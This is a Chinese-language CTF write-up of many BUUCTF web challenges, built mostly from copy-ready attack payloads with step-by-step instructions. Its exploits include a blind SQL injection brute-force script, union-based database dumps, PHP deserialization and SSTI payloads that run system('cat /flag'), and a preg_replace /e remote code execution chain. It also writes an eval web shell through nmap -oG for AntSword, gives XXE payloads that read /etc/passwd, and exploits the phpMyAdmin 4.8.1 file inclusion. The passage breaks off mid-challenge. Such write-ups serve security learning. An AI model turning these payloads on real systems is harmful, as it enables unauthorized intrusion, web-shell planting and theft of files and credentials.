欢迎光临
我们一直在努力

BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)

目录

[CISCN2019 华北赛区 Day2 Web1]Hack World

[BSidesCF 2020] Had a bad day

[网鼎杯 2020 朱雀组] phpweb

[BJDCTF2020] The mystery of ip

[BJDCTF2020] ZJCTF,不过如此

[网鼎杯 2018]Fakebook

【BUUCTF】Online Tool

【GXYCTF2019】禁止套娃

【NCTF2019】Fake XML cookbook

【GWCTF 2019】我有一个数据库

【BJDCTF2020】Mark loves cat

【WUSTCTF2020】朴实无华

【BJDCF2020】Cookie is so stable

【MRCTF2020】Ezpop

【MRCTF2020】PYWebsite

[安洵杯 2019]easy_web

[WesternCTF2018] shrine

[安洵杯 2019] easy_serialize_php

[BSidesCF 2019] Kookie

[网鼎杯 2020 朱雀组] Nmap 解题笔记

[NPUCTF2020] ReadlezPHP 解题笔记

[CISCN2019 华东南赛区] Web11 解题笔记

[强网杯 2019] 高明的黑客

[ASIS 2019] Unicorn shop

[SWPU2019]Web1

[BSidesCF 2019] Futurella 解题笔记

[极客大挑战 2019]FinalSQL

[CISCN 2019 初赛] Love Math

[极客大挑战 2019]RCE ME

[De1CTF 2019]SSRF Me

[BJDCTF2020] EasySearch 1 解题笔记

[WUSTCTF2020] 颜值成绩查询


[CISCN2019 华北赛区 Day2 Web1]Hack World


步骤1:启动靶机并测试页面功能

  • 点击BUUCTF页面中的启动靶机按钮

  • 复制生成的靶机地址(格式如http://node4.buuoj.cn:28080/)

  • 在浏览器中访问该地址

  • 页面功能测试

    • 输入1提交 → 返回:Hello, glzjin wants a girlfriend.

    • 输入2提交 → 返回:Hello, glzjin wants a girlfriend too.

    • 输入3提交 → 返回:Error Occured When Fetch Result.

    • 输入1'提交 → 返回:bool(false)

    原理说明

    页面通过id参数查询数据库,不同的id值返回不同结果。输入单引号触发了SQL注入检测,说明存在SQL注入漏洞,且SQL语句使用单引号闭合。


    步骤2:确认SQL注入点与注入类型

    测试注入类型

    这道题没有直接的数据库内容回显,只有两种有效返回结果(正常/错误),因此属于布尔盲注。布尔盲注的核心是:构造条件语句,根据页面返回结果判断条件是否成立。


    步骤3:测试过滤规则并找到绕过方法

    过滤测试

    依次输入以下内容测试过滤规则:

    • 1 and 1=1 → 返回SQL Injection Checked.(空格和and被过滤)

    • 1or1=1 → 返回SQL Injection Checked.(or被过滤)

    • 1 union select 1 → 返回SQL Injection Checked.(union和select被过滤)

    • if(1=1,1,2) → 返回正常结果(if函数和=未被过滤)

    关键绕过方法

    这道题的过滤规则是过滤单独的关键字,但关键字后紧跟括号时不会被过滤。例如:

    • select会被过滤,但select(flag)不会被过滤

    • from会被过滤,但from(flag)不会被过滤

    因此我们可以使用select(字段)from(表名)的格式绕过关键字过滤。


    步骤4:构造布尔盲注Payload

    核心Payload格式

    if((select(substr(flag,{位置},1))from(flag))='{字符}',1,2)

    Payload原理

  • if(条件, 真结果, 假结果):SQL中的条件函数,如果条件成立返回真结果,否则返回假结果

  • select(substr(flag,{位置},1))from(flag):从flag表的flag字段中截取第{位置}位的1个字符

  • 如果截取的字符等于{字符},则返回1,页面显示Hello, glzjin wants a girlfriend.

  • 如果不相等,则返回2,页面显示Hello, glzjin wants a girlfriend too.

  • 测试Payload有效性

    输入if((select(substr(flag,1,1))from(flag))='f',1,2)提交,返回正常结果,说明Flag的第一个字符确实是f,Payload有效。


    步骤5:编写Python脚本自动化爆破Flag

    前置准备

    安装requests库:

    pip install requests

    完整爆破脚本

    注意:当某个字段爆破失败需要将已经得到的前n位+手动加的'-'填入脚本相应位置再进行爆破。

    import requests
    import time
    ​
    # 只改这里的靶机地址
    url = "http://6137c7e9-08b9-4f5a-9318-ff4d20ed4f57.node5.buuoj.cn:81/"
    ​
    # 🔥 把你已经得到的前n位+手动加的'-'填在这里
    # 例如:flag = "flag{1234567890ab-"
    flag = "flag{73ac7cab-61ed-494b-be4f-"
    ​
    # 🔥 把'-'移到最前面,优先测试横杠,避免卡壳
    charset = "-flag{}0123456789abcdef"
    ​
    print("=" * 50)
    print("🚀 继续爆破,已优化横杠检测")
    print(f"📝 当前已获取:{flag}")
    print("=" * 50)
    print()
    ​
    # 从当前长度+1开始
    for pos in range(len(flag) + 1, 50):
       print(f"🔍 正在爆破第{pos}位…")
    ​
       while True:
           found = False
           for char in charset:
               payload = f"if((select(substr(flag,{pos},1))from(flag))='{char}',1,2)"
    ​
               # 增加重试次数和间隔
               for _ in range(5):
                   try:
                       r = requests.post(url, data={"id": payload}, timeout=15)
                       break
                   except:
                       time.sleep(2)
               else:
                   continue
    ​
               if "Hello" in r.text:
                   flag += char
                   print(f"✅ 第{pos}位:{char}")
                   print(f"📌 当前Flag:{flag}")
                   print()
                   found = True
                   break
    ​
           if found:
               break
           else:
               print(f"⚠️ 第{pos}位暂时没找到,休息5秒后重试…")
               time.sleep(5)
    ​
       if flag.endswith('}'):
           break
    ​
       # 增加每个字符后的延迟
       time.sleep(1)
    ​
    print("=" * 50)
    print("🎉 爆破完成!")
    print(f"🏆 最终Flag:{flag}")
    print("=" * 50)

    脚本原理

  • 遍历Flag的每个字符位置(从1开始)

  • 对每个位置,遍历字符集中的所有可能字符

  • 构造Payload并发送请求,根据页面返回结果判断字符是否正确

  • 将正确的字符拼接成完整的Flag

  • [BSidesCF 2020] Had a bad day

    考点:PHP 文件包含漏洞、php://filter伪协议、路径插入绕过

    难度:入门级(反套路,容易踩坑)


    一、完整解题流程

    步骤 1:启动靶机并发现漏洞

  • 启动靶机,访问靶机地址,看到一个展示动物图片的页面

  • 观察 URL 结构:http://xxx/index.php?category=animals

  • 点击页面上的 "WOOFERS" 和 "MEOWERS" 按钮,URL 分别变为:

    • ?category=woofers

    • ?category=meowers

  • 确认category参数是文件包含点,后端会自动包含{参数}.php文件

  • 步骤 2:测试并发现真实过滤规则

  • 尝试输入任意字符串:?category=test

  • 页面返回提示:Sorry, we currently only support woofers and meowers.

    3.得出结论:参数必须包含woofers、meowers或index中的一个(白名单过滤)

  • 步骤 3:构造绕过 Payload 读取源码

    利用php://filter伪协议的特性:路径中可以插入任意目录名,会被自动忽略

    ?category=php://filter/convert.base64-encode/index/resource=index

    • 在伪协议中间插入/index/,满足 "必须包含 index" 的过滤条件

    • 成功获取index.php的 base64 编码源码

    步骤 4:读取 flag.php 获取 Flag

    ?category=php://filter/convert.base64-encode/index/resource=flag

    • 将得到的 base64 字符串解码,即可看到完整 Flag:flag{be6c140f-a113-4790-93e3-c6f2be02084c}


    二、核心原理详解

    1. 后端真实过滤代码

    <?php
    $file = $_GET['category'];
    if(isset($file))
    {
      // 核心过滤:必须包含三个字符串中的一个
      if( strpos( $file, "woofers" ) !== false
          || strpos( $file, "meowers" ) !== false
          || strpos( $file, "index") !== false ){
          include ($file . '.php'); // 自动添加.php后缀
      }
      else{
          echo "Sorry, we currently only support woofers and meowers.";
      }
    }
    ?>

    2. 绕过原理

    • php://filter伪协议的路径解析非常灵活,中间的任意目录名都会被忽略

    • php://filter/convert.base64-encode/index/resource=flag

    • 等价于:php://filter/convert.base64-encode/resource=flag

    • 但同时满足了 "参数中包含 index" 的过滤条件

    [网鼎杯 2020 朱雀组] phpweb

    一、基础信息

  • 页面参数:func(函数名)、p(函数参数)

  • 传参方式:$_REQUEST 接收,GET/POST 都支持(直接浏览器地址栏传参即可)

  • 核心功能:后端调用 gettime(函数, 参数) 执行用户传入的函数


  • 二、详细解题步骤

    步骤 1:读取源码

    Payload

    ?func=file_get_contents&p=index.php

    步骤 2:构造反序列化 Payload

    本地生成 Test 类序列化字符串,执行命令读取 flag

    <?php
    class Test{
      var $p;
      var $func;
    }
    $a = new Test();
    $a->func = "system";
    $a->p = "cat /tmp/flagoefiu4r93";
    echo serialize($a);
    ?>

    生成结果:

    O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

    步骤 3:执行 Payload,获取 Flag

    最终可用 Payload(直接复制到地址栏)

    ?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

    步骤 4:执行结果

    页面直接输出 Flag:flag{eed27067-6ce4-4f00-a4a4-fba7015e6579}

    [BJDCTF2020] The mystery of ip

    一、题目核心分析

    访问靶机页面,显示 Your IP is : 192.168.122.15,可得出两个关键结论:

  • 页面显示的 IP 不是真实访问 IP,而是从请求头中读取的。

  • 这类题通常通过 X-Forwarded-For 请求头伪造 IP,服务器会解析该请求头的内容并输出到页面。


  • 二、步骤 1:抓包验证 IP 可控

  • 打开 Burp Suite,开启 Intercept 拦截(显示 “Intercept is on”),浏览器代理指向 Burp(默认 127.0.0.1:8080)。

  • 浏览器访问靶机地址,请求会被 Burp 拦截。

  • 在请求头中添加 X-Forwarded-For: 123,点击 Forward 放包,页面 IP 变为 123,确认 IP 由该请求头控制。


  • 三、步骤 2:验证 SSTI 模板注入漏洞

    Smarty 模板的特点是可以解析 {表达式} 格式的语法,直接在页面执行计算 / 命令:

  • 再次抓包,修改请求头为:

    X-Forwarded-For: {7*7}

  • 放包后,页面 IP 变为 49,证明服务器解析了模板语法,存在 SSTI 注入漏洞。


  • 四、步骤 3:构造 Payload 并执行

    1. 最终 Payload

    X-Forwarded-For: {system('cat /flag')}

    2. 完整请求包参考

    GET /flag.php HTTP/1.1
    Host: node5.buuoj.cn:29560
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://node5.buuoj.cn:29560/flag.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    X-Forwarded-For: {system('cat /flag')}
    ​
    (这里是空行,分隔请求头和请求体,不要删除!)


    五、步骤 4:放包获取 Flag

  • 确认请求头修改正确后,点击 Burp 的 Forward 按钮放行请求。

  • 浏览器页面会显示执行结果,Flag 会出现在 IP 显示的位置;如果浏览器有缓存,可以按 Ctrl+Shift+R 强制刷新,或者直接在 Burp 的 Response 标签页查看服务器返回的完整内容。

  • [BJDCTF2020] ZJCTF,不过如此

    一、题目核心逻辑拆解(主页面源码)

    启动靶机后,主页面的 PHP 核心代码如下:

    <?php
    error_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
      echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
      if(preg_match("/flag/",$file)){
          die("Not now!");
      }
      include($file); //关键漏洞点:文件包含
    }
    else{
      highlight_file(__FILE__);
    }
    ?>

    三个关键规则(必须全部满足)

  • text 参数校验:file_get_contents($text) 读取的内容必须等于字符串 I have a dream,否则不会进入文件包含逻辑。

  • file 参数过滤:$file 中不能包含 flag 字符串,否则直接退出(所以不能直接包含 flag 文件)。

  • 文件包含漏洞:满足条件后,会执行 include($file),我们需要利用它包含 next.php 来拿到后续的漏洞点。


  • 二、步骤 1:绕过 text 参数校验(用 data:// 伪协议)

    问题:怎么让file_get_contents($text)等于I have a dream?

    直接传字符串不行,因为file_get_contents默认是读文件路径,所以用 data://伪协议 ,直接在 URL 里嵌入数据,让file_get_contents读取我们传入的内容。

    Payload:

    ?text=data://text/plain,I have a dream

    • data://text/plain,:伪协议前缀,表示后面的内容是纯文本数据

    • I have a dream:我们要传入的内容,刚好满足校验条件

    效果:页面会输出<h1>I have a dream</h1>,证明 text 条件通过了。


    三、步骤 2:读取 next.php 的源码(用 php://filter 伪协议)

    问题:直接include(next.php)只会执行代码,看不到源码怎么办?

    用 php://filter伪协议 ,把 next.php 的源码转成 base64 编码输出,解码后就能拿到完整源码。

    Payload:

    ?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

    • php://filter/read=convert.base64-encode/resource=next.php:读取 next.php 的源码,转成 base64 输出

    • 解码后得到next.php的核心代码:

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    ​
    function complex($re, $str) {
      // preg_replace的/e模式:会把替换后的内容当作PHP代码执行
      return preg_replace('/(' . $re . ')/ei', 'strtolower("\\\\1")', $str);
    }
    ​
    // 关键循环:遍历所有GET参数,参数名作为正则$re,参数值作为字符串$str
    foreach($_GET as $re => $str) {
      echo complex($re, $str). "\\n";
    }
    ​
    function getFlag(){
      @eval($_GET['cmd']); // 命令执行点:eval($_GET['cmd'])
    }
    ?>

    四、步骤 3:触发 preg_replace/e 模式漏洞,执行命令

    漏洞原理

    preg_replace('/(' . $re . ')/ei', 'strtolower("\\\\1")', $str) 中的 /e 模式,是 PHP 的危险特性:

  • $re:正则表达式(来自 GET 参数的参数名)

  • $str:要匹配的字符串(来自 GET 参数的参数值)

  • 当$re匹配到$str时,会用strtolower("\\\\1")替换匹配到的内容,而\\\\1会引用正则捕获的分组内容,被当作 PHP 代码执行

  • 触发方式:用匹配任意字符的正则作为参数名

    我们需要让$re能匹配到$str(也就是${getFlag()}),所以用\\S*(匹配任意非空白字符)作为参数名,这样正则/\\S*/ei就能匹配整个字符串,触发替换。

    最终完整 Payload:

    ?text=data://text/plain,I have a dream&file=next.php&cmd=system('cat /flag');&\\S*=${getFlag()}

    每个参数的作用:

  • text=data://text/plain,I have a dream:过主页面的 text 校验

  • file=next.php:包含 next.php,执行里面的代码

  • cmd=system('cat /flag'):给eval传入要执行的命令,读取 flag 文件

  • &\\S*=${getFlag()}

    :触发 preg_replace/e 模式

    • 参数名\\S*:正则/\\S*/ei,匹配任意非空白字符

    • 参数值${getFlag()}:被正则匹配后,会被strtolower("\\\\1")解析为 PHP 代码,调用getFlag()函数,进而执行eval($_GET['cmd'])

  • [网鼎杯 2018]Fakebook

    打开靶场,看到注册登录界面

    用dirsearch目录爆破,发现这个文件,尝试访问

    看到这个文件,访问下载

    打开文件看一下

    注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用

    也注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式

    建一个账号

    进入账号,发现no参数

    尝试sql注入

    由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法,报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为 /var/www/html/flag.php

    ?no=1 and 1=1回显正常,判断存在sql注入

    order by判断字段数

    试的5报错

    试的4回显正常 所以字段数为4

    union联合查询

    ?no=1 union select 1,2,3,database()

    显示no hack_,判断存在字段过滤

    select没被过滤

    union也没被过滤

    union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/\\**/注释绕过

    ?no=-1 union/**/select 1,2,3,4

    成功绕过,看到username回显正常,判断username为回显位置,为2

    查询当前数据库

    ?no=-1 union/**/select 1,database(),3,4

    库名为fakebook

    爆库

    ?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

    fakebook就是我们要的库,爆表

    ?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

    爆字段

    ?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

    查数据

    ?no=-1 union/**/select 1,concat(no,"\\n",username,"\\n",passwd,"\\n",data),3,4 from users

    注意到data字段里面的数据为刚刚我们join的数据的序列化形式

    构造payload时这边改成file:///var/www/html/flag.php要更改长度为29

    ?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

    访问变正常,查看源代码得到一个base64编码,复制

    进行解码得到flag

    【BUUCTF】Online Tool

    一、基础信息

    • 题目:Online Tool

    • 核心原理:绕过滤 → 用 nmap 写木马文件 → 蚁剑连接拿 flag

    • 我们用到 nmap 的一个写文件功能,直接复制 Payload 即可

    二、完整操作步骤

    步骤 1:启动靶机,获取网址

  • 打开题目页面,点击 启动靶机

  • 访问靶机地址(格式:http://xxxx.buuoj.cn:81/)

  • 步骤 2:写入木马文件

  • 把下面的 Payload 拼接到你的靶机网址后面

  • 完整访问地址(直接复制,替换成你的靶机地址):

  • http://你的靶机地址/?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

  • 访问后,页面会显示一行文字:

    you are in sandbox xxxxxxxxxxxxxxxxxxxx

    • 中间这串 乱码一样的字符串 是目录名,复制保存好!

    步骤 3:找到木马文件的访问地址

    拼接规则:

    你的靶机地址/复制的目录名/hack.php

    示例:

    http://xxxx.buuoj.cn:80/1a2b3c4d5e6f7g8h9i0j/hack.php

    • 访问这个地址,页面空白 = 写入成功!

    步骤 4:打开蚁剑,连接木马

  • 打开蚁剑 → 空白处右键 → 添加数据

  • 填写配置:

    • URL 地址:粘贴步骤 3 的木马地址

    • 连接密码:填 hack

    • 其他全部默认,不用改

  • 点击 测试连接 → 显示 连接成功 → 点添加

  • 步骤 5:蚁剑内读取 flag

    • 连接成功后,蚁剑会列出sandbox目录下的文件,双击进入文件管理器。

    • 可以直接在蚁剑的终端中执行命令:

    cat /flag

    • 或在文件浏览器中,找到根目录下的flag文件,双击查看内容。

    【GXYCTF2019】禁止套娃


    一、题目基础信息

    • 题目:[GXYCTF2019]禁止套娃

    • 考点:Git 源码泄露、无参数 RCE(PHP 无参数函数递归)、正则过滤绕过

    • 核心目标:通过 Git 泄露还原源码,构造无参数 Payload 绕过过滤,读取flag.php文件获取 flag


    二、解题流程总览

  • 目录扫描:使用dirsearch发现.git目录泄露

  • 源码还原:通过GitHack工具还原网站源码,获取index.php

  • 源码审计:分析过滤规则,构造无参数 RCE Payload

  • 执行 Payload:读取flag.php,获取 flag


  • 三、步骤详解(附命令与原理)

    步骤 1:目录扫描,发现 Git 泄露

    操作命令

    python dirsearch.py -u 靶机地址 -i 200 -x 403,404 –delay=0.1

    关键输出

    [10:15:16] 200 – 41B – /.git/refs/heads/master

    说明:.git目录可访问,存在源码泄露风险。


    步骤 2:使用 GitHack 还原源码

    操作命令(Windows 系统)

    # 切换到D盘
    D:
    # 进入GitHack目录
    cd D:\\githack\\GitHack-master
    # 还原源码
    python GitHack.py http://靶机地址/.git/

    执行结果

    • 生成以靶机域名命名的文件夹,包含还原的index.php文件

    • 核心源码如下:

    <?php
    include "flag.php";
    echo "flag在哪里呢?<br>";
    if(isset($_GET['exp'])){
      if (!preg_match('/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i', $_GET['exp'])) {
          if(';' === preg_replace('/[a-z,_]+\\((?R)?\\)/', NULL, $_GET['exp'])) {
              if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                  @eval($_GET['exp']);
              } else die("还差一点哦!");
          } else die("再好好想想!");
      } else die("还想读flag,臭弟弟!");
    }
    // highlight_file(__FILE__);
    ?>


    步骤 3:过滤规则分析

  • 伪协议过滤:禁止使用data:///filter:///php:///phar://,伪协议读文件失效

  • 无参数嵌套限制:仅允许func1(func2(func3()));形式的无参数递归函数调用

  • 关键字黑名单:过滤et|na|info|dec|bin|hex|oct|pi|log,部分函数无法直接使用


  • 步骤 4:无参数 RCE Payload 构造与执行

    最终 Payload(直接可用)

    ?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

    Payload 逐层解析

    函数作用
    localeconv() 返回本地格式化数组,第一个元素为.(当前目录)
    current() 取出数组第一个元素(.,指向当前目录)
    scandir() 扫描当前目录,返回文件列表(./../.git/flag.php/index.php)
    array_reverse() 反转数组,将flag.php移至数组第二位
    next() 数组指针后移一位,指向flag.php
    show_source() 读取并高亮flag.php源码,输出 flag

    执行结果

    页面输出flag.php内容:

    <?php
    $flag = "flag{68cb25b7-6e69-4b9b-bf69-cdb46bb6dbaa}";
    ?>


    四、关键工具与命令汇总

    工具用途命令
    dirsearch 目录扫描 python3 dirsearch.py -u 靶机地址 -i 200 -x 403,404 –delay=0.1
    GitHack 还原 Git 泄露源码 python GitHack.py http://靶机地址/.git/

    【NCTF2019】Fake XML cookbook


    一、题目基础信息

    • 题目名称:[NCTF2019]Fake XML cookbook

    • 考点:XML 外部实体注入(XXE)、有回显 XXE 读取本地文件

    • 标签:Web 安全、XXE 漏洞、文件读取

    • 核心目标:利用 XML 实体注入漏洞,读取服务器上的/flag文件获取 flag


    二、漏洞原理(通俗拆解)

    1. 什么是 XXE 漏洞?

    • XXE 全称XML External Entity Injection(XML 外部实体注入),发生在程序解析 XML 输入时,没有禁止外部实体加载,导致攻击者可以构造恶意 XML,读取服务器本地文件、执行命令或发起内网请求。

    • 触发条件:程序接收 XML 格式的输入,且使用的 XML 解析器(如libxml2低版本)默认开启外部实体解析。

    2. 本题利用场景:有回显 XXE

    • 题目登录接口接收 XML 格式的账号密码,且会将 XML 解析结果直接回显在页面上,属于有回显 XXE,可以直接读取文件内容并看到结果。

    • 关键限制:本题 PHP 环境的libxml版本存在 XXE 漏洞,允许使用file://协议读取本地文件。


    三、详细解题步骤(按顺序操作)

    步骤 1:启动靶机,抓包分析请求

  • 点击题目界面的「启动靶机」,获取靶机地址。

  • 打开登录页面,输入任意账号密码(如admin/123456),点击登录,用 Burp Suite 抓包。

  • 抓包结果显示,请求体为 XML 格式:

    <user>
      <username>admin</username>
      <password>123456</password>
    </user>

    说明程序接收 XML 输入,存在 XXE 注入风险。

  • 步骤 2:构造恶意 XML Payload,读取文件

    核心 Payload

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note [
      <!ENTITY admin SYSTEM "file:///etc/passwd">
    ]>
    <user>
      <username>&admin;</username>
      <password>123456</password>
    </user>

    Payload 解析(关键细节)

    • <?xml version="1.0" encoding="utf-8"?>:XML 文档声明,必须放在开头,声明版本和编码。

    • <!DOCTYPE note […]>:定义 XML 文档的 DTD(文档类型定义),用于声明实体。

    • <!ENTITY admin SYSTEM "file:///etc/passwd">:声明外部实体admin,指向本地文件/etc/passwd。

    • <username>&admin;</username>:引用外部实体admin,解析时会被替换为文件内容,实现文件读取。

    步骤 3:验证漏洞,读取系统文件

  • 将构造的 XML 替换抓包请求中的原 XML,发送请求。

  • 响应结果中会输出/etc/passwd的内容,说明 XXE 漏洞生效。

  • **步骤 4:读取目标文件/flag**

    最终 Payload(读取根目录 flag)

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note [
      <!ENTITY admin SYSTEM "file:///flag">
    ]>
    <user>
      <username>&admin;</username>
      <password>123456</password>
    </user>

  • 替换 XML 并发送请求,响应中会直接输出/flag的内容,格式为flag{xxxxxx}。

  • 复制 flag,提交即可通关。

  • 【GWCTF 2019】我有一个数据库


    一、题目信息

    • 题目:[GWCTF 2019]我有一个数据库

    • 考点:phpMyAdmin 4.8.1 远程文件包含漏洞

    • 核心目标:利用target参数路径穿越漏洞,读取服务器根目录的/flag文件


    二、解题步骤(正确流程)

    步骤 1:目录扫描,发现phpMyAdmin入口

    使用dirsearch扫描靶机目录,命令:

    python dirsearch.py -u 靶机地址 -i 200 -x 403,404 –delay=0.5

    扫描结果中出现/phpmyadmin目录,说明存在phpMyAdmin管理工具,访问后确认版本为4.8.1。

    步骤 2:漏洞原理

    phpMyAdmin 4.8.0-4.8.1的/phpmyadmin/db_sql.php中,target参数存在路径穿越与白名单绕过漏洞:

    • 两次 URL 解码逻辑可绕过白名单校验

    • 结合路径穿越,可通过../跳转到服务器根目录,读取任意文件


    步骤 3:构造 Payload,读取文件

    验证漏洞(读取/etc/passwd)

    http://靶机地址/phpmyadmin/?target=db_sql.php%3f../../../../../../../../etc/passwd

    页面输出系统用户列表,说明漏洞可用。

    读取最终 flag(核心 Payload)

    http://靶机地址/phpmyadmin/?target=db_sql.php%3f../../../../../../../../flag

    页面直接输出flag{xxxxxx}格式的内容,复制提交即可通关。


    三、关键说明

    • 路径中必须使用%3f(URL 编码的?),用于绕过白名单校验

    • ../数量需足够(一般 8-10 个),确保能跳转到服务器根目录

    • 仅phpMyAdmin 4.8.0-4.8.1存在该漏洞,其他版本无法利用

    【BJDCTF2020】Mark loves cat


    一、题目信息

    • 题目:[BJDCTF2020]Mark loves cat

    • 考点:Git 源码泄露、PHP 变量覆盖漏洞

    • 核心目标:通过 Git 泄露还原源码,利用变量覆盖漏洞触发exit()输出flag


    二、解题步骤

    步骤 1:目录扫描,发现 Git 泄露

    使用dirsearch扫描靶机目录:

    python dirsearch.py -u 靶机地址 -i 200 -x 403,404 –delay=0.5

    扫描结果中出现/.git目录,说明存在 Git 源码泄露。


    步骤 2:还原源码,审计代码

    使用GitHack还原源码:

    python GitHack.py http://靶机地址/.git/

    还原得到index.php,关键代码如下:

    <?php
    include 'flag.php';
    ​
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    ​
    foreach($_POST as $x => $y){
      $$x = $y;
    }
    ​
    foreach($_GET as $x => $y){
      $$x = $y;
    }
    ​
    if(isset($_GET['flag']) && $_GET['flag'] != 'flag'){
      exit($handsome);
    }
    ​
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
      exit($yds);
    }
    ​
    if($_POST['flag'] == 'flag' || $_GET['flag'] == 'flag'){
      exit($is);
    }


    步骤 3:构造 Payload,利用变量覆盖获取 flag

    方法 1:覆盖$handsome变量

    • 原理:让$_GET['flag']等于一个存在的变量名(如a),同时让$handsome被覆盖为flag

    • Payload:

    ?handsome=flag&a=flag&flag=a

    方法 2:覆盖$yds变量

    • 原理:让$_GET['flag']和$_POST['flag']都不存在,直接覆盖$yds为flag

    • Payload:

    ?yds=flag

    方法 3:覆盖$is变量

    • 原理:让$_GET['flag']或$_POST['flag']等于flag,同时覆盖$is为flag

    • Payload:

    ?is=flag&flag=flag


    三、关键说明

  • 变量覆盖漏洞:代码中的foreach($_GET as $x => $y){ $$x = $y; }会将 GET 参数的键值对作为变量名和值直接覆盖,例如?handsome=flag会让$handsome = 'flag'

  • exit()输出:三个分支的exit()会直接输出变量内容,只要将对应的变量覆盖为flag即可触发输出

  • 三种方法均有效,其中方法 2 的?yds=flag最为简洁直接


  • 本题最简 Payload:

    ?yds=flag

    成功还原源码了!接下来直接用变量覆盖漏洞拿 flag 就行。


    当前状态说明

    已经用 GitHack 成功还原了源码,关键文件都拿到了:

    • index.php:核心代码,存在变量覆盖漏洞

    • flag.php:包含 flag 的文件,通过include引入


    下一步:直接用最简 Payload 拿 flag

    这道题的核心是利用foreach($_GET as $x => $y){ $$x = $y; }的变量覆盖漏洞,直接覆盖$yds变量就能触发exit()输出 flag。

    最简 Payload(直接复制使用)

    ?yds=flag

    操作步骤

  • 把 Payload 拼接到你的靶机地址后面:

    http://你的靶机地址/?yds=flag

  • 访问后,源代码最后会直接输出flag{xxxxxx}格式的内容,复制提交即可通关。

  • 【WUSTCTF2020】朴实无华


    一、基础信息

    • 题目:[WUSTCTF2020]朴实无华

    • 考点

      :

    • robots.txt 泄露

    • PHP 弱类型比较绕过

    • MD5 0e 科学计数法碰撞

    • 命令执行过滤绕过(空格、关键字)

    • 解题方式:GET 传参,三层绕过 → 执行命令读取 flag


    二、完整解题流程(一步一步详细版)

    步骤 1:找到真实题目页面

  • 访问靶机首页,无有效信息。

  • 访问

    /robots.txt

    ,发现提示:

    Disallow: /fake_flagggg.php

  • 访问 fake_flagggg.php,得到假 flag。

  • 抓包查看响应头,发现真实题目页面:fl4g.php


  • 步骤 2:第一层绕过 —— intval 弱类型

    代码逻辑

    if (isset($_GET['num'])) {
      $num = $_GET['num'];
      if ($num != 2020 && intval($num + 1) > 2021) {
          // 通过第一层
      } else {
          die("nope");
      }
    }

    要求

  • num 不能等于 2020

  • intval($num + 1) 必须 > 2021

  • 绕过原理

    PHP intval() 解析 科学计数法:

    • 1e4 = 10000

    • 1e4 +1 = 10001

    • intval(10001) = 10001 > 2021

    • 且 1e4 != 2020

    第一层 Payload

    /fl4g?num=1e4

    步骤 3:第二层绕过 —— MD5 0e 碰撞

    代码逻辑

    if (isset($_GET['md5'])) {
      if (md5($md5) == '0e291242476940776845150308577824') {
          // 通过第二层
      } else {
          die("nope");
      }
    }

    绕过原理

    PHP 弱类型 == 比较:

    • 只要 MD5 值以 0e 开头,都会被当作数字 0

    • 0 == 0 → 判定为相等

    可用 MD5 字符串

    0e215962017

    第二层 Payload

    /fl4g?num=1e4&md5=0e215962017

    步骤 4:第三层绕过 —— 命令执行过滤

    代码逻辑

    if (isset($_GET['flag'])) {
      if (!strstr($get_flag, " ")) {
          $get_flag = str_ireplace("cat", "", $get_flag);
          system($get_flag);
      } else {
          die("nope");
      }
    }

    过滤规则

  • 禁止空格

  • 过滤 cat(替换为空)

  • 绕过方法

  • 空格绕过:用 %09(tab 制表符)

  • cat 绕过:用 tac(反向输出,效果一样)

  • 文件路径:/f* 通配符匹配 /flag

  • 最终命令

    tac%09f*


    三、最终完整 Payload

    /fl4g.php?num=1e4&md5=0e215962017&get_flag=tac%09f*

    直接访问即可输出 flag!

    【BJDCF2020】Cookie is so stable


    一、题目基础信息

    • 题目:[BJDCF2020]Cookie is so stable

    • 考点:Twig 模板注入(SSTI,服务器端模板注入)、Cookie 参数可控注入

    • 核心目标:利用 Cookie 中user参数的模板注入漏洞,绕过直接函数调用限制,读取服务器/flag文件


    二、完整解题流程

    步骤 1:查看源码提示,定位关键方向

    访问靶机首页,按F12查看页面源码,发现关键注释提示:

    <!– Why not take a closer look at cookies? –>

    这是题目明确的引导,说明Cookie 中存在用户可控的注入点,后续解题需要重点关注 Cookie 参数。


    步骤 2:初始抓包分析,未发现异常

    用 Burp Suite 抓初始页面的请求,发现只有PHPSESSID会话 Cookie,没有其他可控参数;尝试 SQL 注入、直接命令执行等常规方法,均无效果,暂时卡住。


    步骤 3:登录流程,发现 Cookie 中的user参数

